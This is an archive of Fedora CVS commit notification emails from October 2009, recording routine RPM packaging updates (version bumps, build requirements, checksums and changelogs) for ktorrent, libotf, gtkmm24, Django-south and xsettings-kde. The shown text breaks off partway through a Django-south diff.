Date: Sat, 24 Oct 2009 13:25:41 +0000 (UTC)
Subject: rpms/ktorrent/devel .cvsignore, 1.33, 1.34 ktorrent.spec, 1.107,
	1.108 sources, 1.33, 1.34
Message-ID: <20091024132541.EE41211C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/ktorrent/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12412

Modified Files:
	.cvsignore ktorrent.spec sources 
Log Message:
* Sat Oct 24 2009 Rex Dieter <rdieter at fedoraproject.org> - 3.3-0.1.rc1
- ktorrent-3.3rc1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ktorrent/devel/.cvsignore,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- .cvsignore	27 Sep 2009 23:41:33 -0000	1.33
+++ .cvsignore	24 Oct 2009 13:25:41 -0000	1.34
@@ -1 +1 @@
-ktorrent-3.2.4.tar.bz2
+ktorrent-3.3rc1.tar.bz2


Index: ktorrent.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ktorrent/devel/ktorrent.spec,v
retrieving revision 1.107
retrieving revision 1.108
diff -u -p -r1.107 -r1.108
--- ktorrent.spec	27 Sep 2009 23:45:24 -0000	1.107
+++ ktorrent.spec	24 Oct 2009 13:25:41 -0000	1.108
@@ -1,14 +1,16 @@
 
 # Fedora pkg review: http://bugzilla.redhat.com/187818
 
+%define pre rc1
+
 Name:           ktorrent
-Version:        3.2.4
-Release:        1%{?dist}
+Version:        3.3
+Release:        0.1.%{pre}%{?dist}
 Summary:        A BitTorrent program
 Group:          Applications/Internet
 License:        GPLv2+
 URL:            http://ktorrent.org/
-Source0:        http://ktorrent.org/downloads/%{version}/ktorrent-%{version}.tar.bz2
+Source0:        http://ktorrent.org/downloads/%{version}%{?pre}/ktorrent-%{version}%{?pre}.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires: avahi-devel
@@ -67,7 +69,7 @@ Requires: plasma-engine-ktorrent = %{ver
 
 
 %prep
-%setup -q
+%setup -q -n %{name}-%{version}%{?pre}
 
 %build
 mkdir -p %{_target_platform}
@@ -127,6 +129,7 @@ rm -rf $RPM_BUILD_ROOT
 %{_kde4_libdir}/kde4/ktzeroconfplugin.so
 %{_kde4_libdir}/kde4/ktdownloadorderplugin.so
 %{_kde4_libdir}/kde4/ktscriptingplugin.so
+%{_kde4_libdir}/kde4/ktshutdownplugin.so
 %{_kde4_libdir}/kde4/ktsyndicationplugin.so
 %{_kde4_libdir}/kde4/plasma_engine_ktorrent.so
 %{_kde4_iconsdir}/hicolor/*/*/*
@@ -138,8 +141,8 @@ rm -rf $RPM_BUILD_ROOT
 
 %files libs
 %defattr(-,root,root,-)
-%{_kde4_libdir}/libbtcore.so.11*
-%{_kde4_libdir}/libktcore.so.9*
+%{_kde4_libdir}/libbtcore.so.12*
+%{_kde4_libdir}/libktcore.so.10*
 %{_kde4_libdir}/libktupnp.so.4*
 
 %files devel
@@ -157,6 +160,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sat Oct 24 2009 Rex Dieter <rdieter at fedoraproject.org> - 3.3-0.1.rc1
+- ktorrent-3.3rc1
+
 * Sun Sep 27 2009 Rex Dieter <rdieter at fedoraproject.org> - 3.2.4-1
 - ktorrent-3.2.4
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ktorrent/devel/sources,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- sources	27 Sep 2009 23:41:33 -0000	1.33
+++ sources	24 Oct 2009 13:25:41 -0000	1.34
@@ -1 +1 @@
-e3c595c9ac667985764058902a1489ea  ktorrent-3.2.4.tar.bz2
+6bbf0f40ac122b5a42d00e0d398afb79  ktorrent-3.3rc1.tar.bz2



From nbecker at fedoraproject.org  Sat Oct 24 13:42:51 2009
From: nbecker at fedoraproject.org (Neal Becker)
Date: Sat, 24 Oct 2009 13:42:51 +0000 (UTC)
Subject: rpms/libotf/devel libotf.spec,1.7,1.8
Message-ID: <20091024134251.A20B111C00E5@cvs1.fedora.phx.redhat.com>

Author: nbecker

Update of /cvs/extras/rpms/libotf/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15824

Modified Files:
	libotf.spec 
Log Message:
Add BR libXaw-devel



Index: libotf.spec
===================================================================
RCS file: /cvs/extras/rpms/libotf/devel/libotf.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- libotf.spec	10 Oct 2009 00:04:06 -0000	1.7
+++ libotf.spec	24 Oct 2009 13:42:50 -0000	1.8
@@ -1,6 +1,6 @@
 Name:		libotf
 Version:	0.9.9
-Release:	2%{?dist}
+Release:	3%{?dist}
 Summary:	A Library for handling OpenType Font
 
 Group:		System Environment/Libraries
@@ -9,7 +9,7 @@ URL:		http://www.m17n.org/libotf/
 Source0:	 http://www.m17n.org/%{name}/%{name}-%{version}.tar.gz
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires:	gcc chrpath freetype-devel
+BuildRequires:	gcc chrpath freetype-devel libXaw-devel
 Requires:	freetype
 
 %description 
@@ -78,6 +78,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/*
 
 %changelog
+* Sat Oct 24 2009 Neal Becker <ndbecker2 at gmail.com> - 0.9.9-3
+- Add BR libXaw-devel (BR 530586)
+
 * Fri Oct  9 2009 Neal Becker <ndbecker2 at gmail.com> - 0.9.9-2
 - Remove libotf-config (just just pkg-config instead)
 - Remove example/Makefile to fix multilib conflict



From denis at fedoraproject.org  Sat Oct 24 13:46:47 2009
From: denis at fedoraproject.org (Denis Leroy)
Date: Sat, 24 Oct 2009 13:46:47 +0000 (UTC)
Subject: rpms/gtkmm24/devel .cvsignore, 1.36, 1.37 gtkmm.spec, 1.57,
	1.58 sources, 1.38, 1.39
Message-ID: <20091024134647.A3CEA11C00E5@cvs1.fedora.phx.redhat.com>

Author: denis

Update of /cvs/pkgs/rpms/gtkmm24/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16287

Modified Files:
	.cvsignore gtkmm.spec sources 
Log Message:
Update to upstream 2.18.2


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gtkmm24/devel/.cvsignore,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- .cvsignore	25 Sep 2009 07:40:07 -0000	1.36
+++ .cvsignore	24 Oct 2009 13:46:47 -0000	1.37
@@ -1 +1 @@
-gtkmm-2.18.1.tar.bz2
+gtkmm-2.18.2.tar.bz2


Index: gtkmm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gtkmm24/devel/gtkmm.spec,v
retrieving revision 1.57
retrieving revision 1.58
diff -u -p -r1.57 -r1.58
--- gtkmm.spec	26 Sep 2009 07:35:52 -0000	1.57
+++ gtkmm.spec	24 Oct 2009 13:46:47 -0000	1.58
@@ -1,5 +1,5 @@
 Name:           gtkmm24
-Version:        2.18.1
+Version:        2.18.2
 Release:        1%{?dist}
 
 Summary:        C++ interface for GTK2 (a GUI library for X)
@@ -10,12 +10,12 @@ URL:            http://gtkmm.sourceforge
 Source0:        http://ftp.gnome.org/pub/GNOME/sources/gtkmm/2.18/gtkmm-%{version}.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires:  glibmm24-devel >= 2.21.2
-BuildRequires:  atk-devel >= 1.9.0
+BuildRequires:  glibmm24-devel >= 2.22
+BuildRequires:  atk-devel >= 1.12
 BuildRequires:  pango-devel
-BuildRequires:  gtk2-devel >= 2.17.11
+BuildRequires:  gtk2-devel >= 2.18
 BuildRequires:  cairomm-devel >= 1.2.2
-BuildRequires:  pangomm-devel >= 2.25.1.3
+BuildRequires:  pangomm-devel >= 2.26
 
 
 %description
@@ -116,6 +116,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sat Oct 24 2009 Denis Leroy <denis at poolshark.org> - 2.18.2-1
+- Update to upstream 2.18.2
+
 * Fri Sep 25 2009 Denis Leroy <denis at poolshark.org> - 2.18.1-1
 - Update to upstream 2.18.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gtkmm24/devel/sources,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- sources	25 Sep 2009 07:40:07 -0000	1.38
+++ sources	24 Oct 2009 13:46:47 -0000	1.39
@@ -1 +1 @@
-7b36f7ea10f183d14b20cad8c1f70daa  gtkmm-2.18.1.tar.bz2
+3e43e9eef1da8988a76a2815d6b31c91  gtkmm-2.18.2.tar.bz2



From nbecker at fedoraproject.org  Sat Oct 24 13:50:28 2009
From: nbecker at fedoraproject.org (Neal Becker)
Date: Sat, 24 Oct 2009 13:50:28 +0000 (UTC)
Subject: rpms/libotf/F-12 libotf.spec,1.6,1.7
Message-ID: <20091024135028.0B36311C02A2@cvs1.fedora.phx.redhat.com>

Author: nbecker

Update of /cvs/extras/rpms/libotf/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16831

Modified Files:
	libotf.spec 
Log Message:
add BR libXaw-devel


Index: libotf.spec
===================================================================
RCS file: /cvs/extras/rpms/libotf/F-12/libotf.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- libotf.spec	25 Aug 2009 12:01:37 -0000	1.6
+++ libotf.spec	24 Oct 2009 13:50:27 -0000	1.7
@@ -1,6 +1,6 @@
 Name:		libotf
 Version:	0.9.9
-Release:	1%{?dist}
+Release:	3%{?dist}
 Summary:	A Library for handling OpenType Font
 
 Group:		System Environment/Libraries
@@ -9,7 +9,7 @@ URL:		http://www.m17n.org/libotf/
 Source0:	 http://www.m17n.org/%{name}/%{name}-%{version}.tar.gz
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires:	gcc chrpath freetype-devel
+BuildRequires:	gcc chrpath freetype-devel libXaw-devel
 Requires:	freetype
 
 %description 
@@ -49,7 +49,8 @@ make install DESTDIR=$RPM_BUILD_ROOT INS
 find $RPM_BUILD_ROOT -name '*.la' -exec rm -f {} ';'
 for file in $RPM_BUILD_ROOT/usr/bin/*; do chrpath -d $file || true; done
 
-(cd example && make clean && rm -rf .deps)
+(cd example && make clean && rm -rf .deps && rm Makefile)
+rm $RPM_BUILD_ROOT/usr/bin/libotf-config
 
 %clean
 rm -rf $RPM_BUILD_ROOT
@@ -75,9 +76,15 @@ rm -rf $RPM_BUILD_ROOT
 %{_includedir}/*
 %{_libdir}/*.so
 %{_libdir}/pkgconfig/*
-%{_bindir}/libotf-config
 
 %changelog
+* Sat Oct 24 2009 Neal Becker <ndbecker2 at gmail.com> - 0.9.9-3
+- Add BR libXaw-devel (BR 530586)
+
+* Fri Oct  9 2009 Neal Becker <ndbecker2 at gmail.com> - 0.9.9-2
+- Remove libotf-config (just just pkg-config instead)
+- Remove example/Makefile to fix multilib conflict
+
 * Tue Aug 25 2009 Neal Becker <ndbecker2 at gmail.com> - 0.9.9-1
 - Update to 0.9.9
 



From nbecker at fedoraproject.org  Sat Oct 24 13:55:37 2009
From: nbecker at fedoraproject.org (Neal Becker)
Date: Sat, 24 Oct 2009 13:55:37 +0000 (UTC)
Subject: rpms/libotf/F-11 libotf.spec,1.5,1.6
Message-ID: <20091024135537.7F08211C00E5@cvs1.fedora.phx.redhat.com>

Author: nbecker

Update of /cvs/extras/rpms/libotf/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17365

Modified Files:
	libotf.spec 
Log Message:
add BR libXaw-devel


Index: libotf.spec
===================================================================
RCS file: /cvs/extras/rpms/libotf/F-11/libotf.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- libotf.spec	10 Oct 2009 00:06:09 -0000	1.5
+++ libotf.spec	24 Oct 2009 13:55:37 -0000	1.6
@@ -1,6 +1,6 @@
 Name:		libotf
 Version:	0.9.9
-Release:	2%{?dist}
+Release:	3%{?dist}
 Summary:	A Library for handling OpenType Font
 
 Group:		System Environment/Libraries
@@ -9,7 +9,7 @@ URL:		http://www.m17n.org/libotf/
 Source0:	 http://www.m17n.org/%{name}/%{name}-%{version}.tar.gz
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires:	gcc chrpath freetype-devel
+BuildRequires:	gcc chrpath freetype-devel libXaw-devel
 Requires:	freetype
 
 %description 
@@ -78,6 +78,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/*
 
 %changelog
+* Sat Oct 24 2009 Neal Becker <ndbecker2 at gmail.com> - 0.9.9-3
+- Add BR libXaw-devel (BR 530586)
+
 * Fri Oct  9 2009 Neal Becker <ndbecker2 at gmail.com> - 0.9.9-2
 - Remove libotf-config (just just pkg-config instead)
 - Remove example/Makefile to fix multilib conflict



From nbecker at fedoraproject.org  Sat Oct 24 14:01:03 2009
From: nbecker at fedoraproject.org (Neal Becker)
Date: Sat, 24 Oct 2009 14:01:03 +0000 (UTC)
Subject: rpms/libotf/F-10 libotf.spec,1.4,1.5
Message-ID: <20091024140103.38F2811C00E5@cvs1.fedora.phx.redhat.com>

Author: nbecker

Update of /cvs/extras/rpms/libotf/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17864

Modified Files:
	libotf.spec 
Log Message:
add BR libXaw-devel


Index: libotf.spec
===================================================================
RCS file: /cvs/extras/rpms/libotf/F-10/libotf.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- libotf.spec	10 Oct 2009 00:13:36 -0000	1.4
+++ libotf.spec	24 Oct 2009 14:01:03 -0000	1.5
@@ -1,6 +1,6 @@
 Name:		libotf
 Version:	0.9.9
-Release:	2%{?dist}
+Release:	3%{?dist}
 Summary:	A Library for handling OpenType Font
 
 Group:		System Environment/Libraries
@@ -9,7 +9,7 @@ URL:		http://www.m17n.org/libotf/
 Source0:	 http://www.m17n.org/%{name}/%{name}-%{version}.tar.gz
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires:	gcc chrpath freetype-devel
+BuildRequires:	gcc chrpath freetype-devel libXaw-devel
 Requires:	freetype
 
 %description 
@@ -78,6 +78,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/*
 
 %changelog
+* Sat Oct 24 2009 Neal Becker <ndbecker2 at gmail.com> - 0.9.9-3
+- Add BR libXaw-devel (BR 530586)
+
 * Fri Oct  9 2009 Neal Becker <ndbecker2 at gmail.com> - 0.9.9-2
 - Remove libotf-config (just just pkg-config instead)
 - Remove example/Makefile to fix multilib conflict



From diegobz at fedoraproject.org  Sat Oct 24 14:32:04 2009
From: diegobz at fedoraproject.org (=?utf-8?q?Diego_B=C3=BArigo_Zacar=C3=A3o?=)
Date: Sat, 24 Oct 2009 14:32:04 +0000 (UTC)
Subject: rpms/Django-south/devel .cvsignore, 1.2, 1.3 Django-south.spec, 1.1,
	1.2 import.log, 1.1, 1.2 sources, 1.2, 1.3
Message-ID: <20091024143204.17EEB11C00E5@cvs1.fedora.phx.redhat.com>

Author: diegobz

Update of /cvs/pkgs/rpms/Django-south/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22159/devel

Modified Files:
	.cvsignore Django-south.spec import.log sources 
Log Message:
Updated to 0.6.1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/Django-south/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	14 Aug 2009 16:43:08 -0000	1.2
+++ .cvsignore	24 Oct 2009 14:32:03 -0000	1.3
@@ -1 +1 @@
-south-0.6.tar.gz
+south-0.6.1.tar.gz


Index: Django-south.spec
===================================================================
RCS file: /cvs/pkgs/rpms/Django-south/devel/Django-south.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- Django-south.spec	14 Aug 2009 16:43:08 -0000	1.1
+++ Django-south.spec	24 Oct 2009 14:32:03 -0000	1.2
@@ -3,8 +3,8 @@
 %define vcstag rc1
 
 Name:           Django-south
-Version:        0.6
-Release:        2%{?dist}
+Version:        0.6.1
+Release:        1%{?dist}
 Summary:        Intelligent schema migrations for Django apps
 
 Group:          Development/Languages
@@ -13,7 +13,7 @@ URL:            http://south.aeracode.or
 #hg clone -r 371 https://bitbucket.org/andrewgodwin/south/ Django-south-0.6
 #tar zcf Django-south-0.6.tar.gz Django-south-0.6
 #Source:         Django-south-%{version}.tar.gz
-Source:         http://www.aeracode.org/releases/south/south-0.6.tar.gz
+Source:         http://www.aeracode.org/releases/south/south-%{version}.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildArch:      noarch
@@ -45,6 +45,9 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitelib}/*
 
 %changelog
+* Sat Oct 24 2009 Diego B?rigo Zacar?o <diegobz at gmail.com> 0.6.1-1
+- Updated to 0.6.1 Release
+
 * Wed Aug 13 2009 Diego B?rigo Zacar?o <diegobz at gmail.com> 0.6-2
 - Updated SPEC to use the upstream tar.gz instead of the VCS checkout
 


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/Django-south/devel/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	14 Aug 2009 16:43:08 -0000	1.1
+++ import.log	24 Oct 2009 14:32:03 -0000	1.2
@@ -1 +1,2 @@
 Django-south-0_6-2_fc11:HEAD:Django-south-0.6-2.fc11.src.rpm:1250268071
+Django-south-0_6_1-1_fc11:HEAD:Django-south-0.6.1-1.fc11.src.rpm:1256394832


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/Django-south/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	14 Aug 2009 16:43:08 -0000	1.2
+++ sources	24 Oct 2009 14:32:03 -0000	1.3
@@ -1 +1 @@
-44ee37aff7dcc571b27591fca8a04f96  south-0.6.tar.gz
+490a0a341b34b4f19c506d2b84d884c4  south-0.6.1.tar.gz



From rdieter at fedoraproject.org  Sat Oct 24 14:35:19 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 24 Oct 2009 14:35:19 +0000 (UTC)
Subject: rpms/xsettings-kde/F-11 xsettings-kde-0.11-svn_checkout.sh, NONE,
	1.1 .cvsignore, 1.2, 1.3 sources, 1.2, 1.3 xsettings-kde.desktop,
	1.1, 1.2 xsettings-kde.spec, 1.2,
	1.3 xsettings-kde-0.9-svn_checkout.sh, 1.1, NONE
Message-ID: <20091024143519.E3A3D11C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/xsettings-kde/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22656

Modified Files:
	.cvsignore sources xsettings-kde.desktop xsettings-kde.spec 
Added Files:
	xsettings-kde-0.11-svn_checkout.sh 
Removed Files:
	xsettings-kde-0.9-svn_checkout.sh 
Log Message:
* Sat Aug 29 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.11-1
- xsettings-0.11



--- NEW FILE xsettings-kde-0.11-svn_checkout.sh ---
#/bin/sh

DATE=$(date +%Y%m%d)
MODULE="$(basename $0 -svn_checkout.sh)"
SVNROOT=http://svn.mandriva.com/svn/soft/theme/xsettings-kde/tags/V0_11_1mdv/

set -x
rm -rf $MODULE

svn export $SVNROOT $MODULE

## tar it up
tar cjf $MODULE-${DATE}svn.tar.bz2 $MODULE

## cleanup
rm -rf $MODULE



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xsettings-kde/F-11/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	31 Dec 2008 05:37:48 -0000	1.2
+++ .cvsignore	24 Oct 2009 14:35:19 -0000	1.3
@@ -1 +1 @@
-xsettings-kde-0.9-20081230svn.tar.bz2
+xsettings-kde-0.11-20090829svn.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xsettings-kde/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	31 Dec 2008 05:37:48 -0000	1.2
+++ sources	24 Oct 2009 14:35:19 -0000	1.3
@@ -1 +1 @@
-4bcb0db445ced7c585755625e0f2c9df  xsettings-kde-0.9-20081230svn.tar.bz2
+ec6f797883068c1c25609d864e425cd8  xsettings-kde-0.11-20090829svn.tar.bz2


Index: xsettings-kde.desktop
===================================================================
RCS file: /cvs/pkgs/rpms/xsettings-kde/F-11/xsettings-kde.desktop,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- xsettings-kde.desktop	31 Dec 2008 05:37:48 -0000	1.1
+++ xsettings-kde.desktop	24 Oct 2009 14:35:19 -0000	1.2
@@ -4,5 +4,3 @@ Name=XSettings-KDE
 X-KDE-autostart-after=kdesktop
 Type=Service
 OnlyShowIn=KDE;
-
-


Index: xsettings-kde.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xsettings-kde/F-11/xsettings-kde.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- xsettings-kde.spec	26 Feb 2009 12:04:03 -0000	1.2
+++ xsettings-kde.spec	24 Oct 2009 14:35:19 -0000	1.3
@@ -1,13 +1,13 @@
 
 Summary: XSettings Daemon for KDE
 Name:    xsettings-kde
-Version: 0.9
-Release: 2%{?dist}	
+Version: 0.11
+Release: 1%{?dist}	
 License: GPLv2+
 Group:   User Interface/Desktops 
 # upstream is a svn
-Source0:  %{name}-%{version}-20081230svn.tar.bz2
-Source1:  xsettings-kde-0.9-svn_checkout.sh
+Source0:  %{name}-%{version}-20090829svn.tar.bz2
+Source1:  xsettings-kde-%{version}-svn_checkout.sh
 URL: http://svn.mandriva.com/cgi-bin/viewvc.cgi/soft/theme/xsettings-kde/
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -16,6 +16,7 @@ Patch1: xsettings-kde-0.9-kde4.patch
 
 Source10: xsettings-kde.desktop
 
+BuildRequires: glib2-devel
 BuildRequires: libX11-devel
 
 %description
@@ -57,6 +58,15 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Sat Aug 29 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.11-1
+- xsettings-0.11
+
+* Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.10-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Fri Jun 26 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.10-1
+- xsettings-0.10
+
 * Thu Feb 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 


--- xsettings-kde-0.9-svn_checkout.sh DELETED ---



From rdieter at fedoraproject.org  Sat Oct 24 14:35:59 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 24 Oct 2009 14:35:59 +0000 (UTC)
Subject: rpms/xsettings-kde/F-10 xsettings-kde-0.11-svn_checkout.sh, NONE,
	1.1 .cvsignore, 1.2, 1.3 sources, 1.2, 1.3 xsettings-kde.desktop,
	1.1, 1.2 xsettings-kde.spec, 1.1,
	1.2 xsettings-kde-0.9-svn_checkout.sh, 1.1, NONE
Message-ID: <20091024143559.B9F1311C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/xsettings-kde/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22854

Modified Files:
	.cvsignore sources xsettings-kde.desktop xsettings-kde.spec 
Added Files:
	xsettings-kde-0.11-svn_checkout.sh 
Removed Files:
	xsettings-kde-0.9-svn_checkout.sh 
Log Message:
* Sat Aug 29 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.11-1
- xsettings-0.11



--- NEW FILE xsettings-kde-0.11-svn_checkout.sh ---
#/bin/sh

DATE=$(date +%Y%m%d)
MODULE="$(basename $0 -svn_checkout.sh)"
SVNROOT=http://svn.mandriva.com/svn/soft/theme/xsettings-kde/tags/V0_11_1mdv/

set -x
rm -rf $MODULE

svn export $SVNROOT $MODULE

## tar it up
tar cjf $MODULE-${DATE}svn.tar.bz2 $MODULE

## cleanup
rm -rf $MODULE



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xsettings-kde/F-10/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	31 Dec 2008 21:52:21 -0000	1.2
+++ .cvsignore	24 Oct 2009 14:35:59 -0000	1.3
@@ -1 +1 @@
-xsettings-kde-0.9-20081230svn.tar.bz2
+xsettings-kde-0.11-20090829svn.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xsettings-kde/F-10/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	31 Dec 2008 21:52:21 -0000	1.2
+++ sources	24 Oct 2009 14:35:59 -0000	1.3
@@ -1 +1 @@
-4bcb0db445ced7c585755625e0f2c9df  xsettings-kde-0.9-20081230svn.tar.bz2
+ec6f797883068c1c25609d864e425cd8  xsettings-kde-0.11-20090829svn.tar.bz2


Index: xsettings-kde.desktop
===================================================================
RCS file: /cvs/pkgs/rpms/xsettings-kde/F-10/xsettings-kde.desktop,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- xsettings-kde.desktop	31 Dec 2008 21:52:21 -0000	1.1
+++ xsettings-kde.desktop	24 Oct 2009 14:35:59 -0000	1.2
@@ -4,5 +4,3 @@ Name=XSettings-KDE
 X-KDE-autostart-after=kdesktop
 Type=Service
 OnlyShowIn=KDE;
-
-


Index: xsettings-kde.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xsettings-kde/F-10/xsettings-kde.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- xsettings-kde.spec	31 Dec 2008 21:52:21 -0000	1.1
+++ xsettings-kde.spec	24 Oct 2009 14:35:59 -0000	1.2
@@ -1,13 +1,13 @@
 
 Summary: XSettings Daemon for KDE
 Name:    xsettings-kde
-Version: 0.9
+Version: 0.11
 Release: 1%{?dist}	
 License: GPLv2+
 Group:   User Interface/Desktops 
 # upstream is a svn
-Source0:  %{name}-%{version}-20081230svn.tar.bz2
-Source1:  xsettings-kde-0.9-svn_checkout.sh
+Source0:  %{name}-%{version}-20090829svn.tar.bz2
+Source1:  xsettings-kde-%{version}-svn_checkout.sh
 URL: http://svn.mandriva.com/cgi-bin/viewvc.cgi/soft/theme/xsettings-kde/
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -16,6 +16,7 @@ Patch1: xsettings-kde-0.9-kde4.patch
 
 Source10: xsettings-kde.desktop
 
+BuildRequires: glib2-devel
 BuildRequires: libX11-devel
 
 %description
@@ -57,6 +58,18 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Sat Aug 29 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.11-1
+- xsettings-0.11
+
+* Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.10-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Fri Jun 26 2009 Rex Dieter <rdieter at fedoraproject.org> - 0.10-1
+- xsettings-0.10
+
+* Thu Feb 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
 * Tue Dec 30 2008 Rex Dieter <rdieter at fedoraproject.org> 0.9-1
 - resurrect latest kde4-enabled version, yay.
 


--- xsettings-kde-0.9-svn_checkout.sh DELETED ---



From diegobz at fedoraproject.org  Sat Oct 24 14:40:12 2009
From: diegobz at fedoraproject.org (=?utf-8?q?Diego_B=C3=BArigo_Zacar=C3=A3o?=)
Date: Sat, 24 Oct 2009 14:40:12 +0000 (UTC)
Subject: rpms/Django-south/F-11 .cvsignore, 1.2, 1.3 Django-south.spec, 1.1, 
	1.2 import.log, 1.1, 1.2 sources, 1.2, 1.3
Message-ID: <20091024144012.1200F11C02A6@cvs1.fedora.phx.redhat.com>

Author: diegobz

Update of /cvs/pkgs/rpms/Django-south/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23414/F-11

Modified Files:
	.cvsignore Django-south.spec import.log sources 
Log Message:
Updated to 0.6.1


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/Django-south/F-11/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	14 Aug 2009 16:57:47 -0000	1.2
+++ .cvsignore	24 Oct 2009 14:40:11 -0000	1.3
@@ -1 +1 @@
-south-0.6.tar.gz
+south-0.6.1.tar.gz


Index: Django-south.spec
===================================================================
RCS file: /cvs/pkgs/rpms/Django-south/F-11/Django-south.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- Django-south.spec	14 Aug 2009 16:57:47 -0000	1.1
